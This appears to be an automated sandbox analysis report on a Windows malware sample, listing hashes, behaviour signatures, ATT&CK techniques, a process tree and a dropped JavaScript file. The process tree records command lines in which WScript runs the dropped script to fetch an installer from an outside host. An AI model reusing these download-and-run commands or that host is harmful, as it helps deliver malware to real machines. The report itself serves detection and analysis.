fc79b49e3af566e67fa165c6ce098abf921bb32e979cb63824cdfc972baa5c2d

General

Target

9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe
Size

184KB
MD5

9a14d3ea3b1c04ce0581661a6b75e24c
SHA1

08b2deac27376195c9a241a08b8918b2941b9ad9
SHA256

fc79b49e3af566e67fa165c6ce098abf921bb32e979cb63824cdfc972baa5c2d
SHA512

7b3e6f434ef01c3c6348f75d5d709b37c266876f48668f3b9171f90e60c75016c83e7233c7f68495b3cccf9cade935a17a46cc46819f31f68760403fb0819f01
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3F:/7BSH8zUB+nGESaaRvoB7FJNndno

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	1176	WScript.exe
36	2104	WScript.exe
40	2884	WScript.exe
53	4092	WScript.exe
55	3740	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4644	5044	WerFault.exe	84

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 5044 wrote to memory of 1176	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	85
PID 5044 wrote to memory of 1176	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	85
PID 5044 wrote to memory of 1176	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	85
PID 5044 wrote to memory of 2104	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	98
PID 5044 wrote to memory of 2104	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	98
PID 5044 wrote to memory of 2104	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	98
PID 5044 wrote to memory of 2884	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	99
PID 5044 wrote to memory of 2884	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	99
PID 5044 wrote to memory of 2884	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	99
PID 5044 wrote to memory of 4092	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	102
PID 5044 wrote to memory of 4092	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	102
PID 5044 wrote to memory of 4092	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	102
PID 5044 wrote to memory of 3740	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	103
PID 5044 wrote to memory of 3740	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	103
PID 5044 wrote to memory of 3740	5044	9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe	103

C:\Users\Admin\AppData\Local\Temp\9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9a14d3ea3b1c04ce0581661a6b75e24c_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5044
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43EE.js" http://www.djapp.info/?domain=SqEMowyQks.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf43EE.exe
  2⤵
  - Blocklisted process makes network request
  PID:1176
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43EE.js" http://www.djapp.info/?domain=SqEMowyQks.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf43EE.exe
  2⤵
  - Blocklisted process makes network request
  PID:2104
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43EE.js" http://www.djapp.info/?domain=SqEMowyQks.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf43EE.exe
  2⤵
  - Blocklisted process makes network request
  PID:2884
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43EE.js" http://www.djapp.info/?domain=SqEMowyQks.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf43EE.exe
  2⤵
  - Blocklisted process makes network request
  PID:4092
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf43EE.js" http://www.djapp.info/?domain=SqEMowyQks.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf43EE.exe
  2⤵
  - Blocklisted process makes network request
  PID:3740
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5044 -s 1452
  2⤵
  - Program crash
  PID:4644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 5044 -ip 5044
1⤵
PID:2984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\fuf43EE.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit

Analysis

Sharing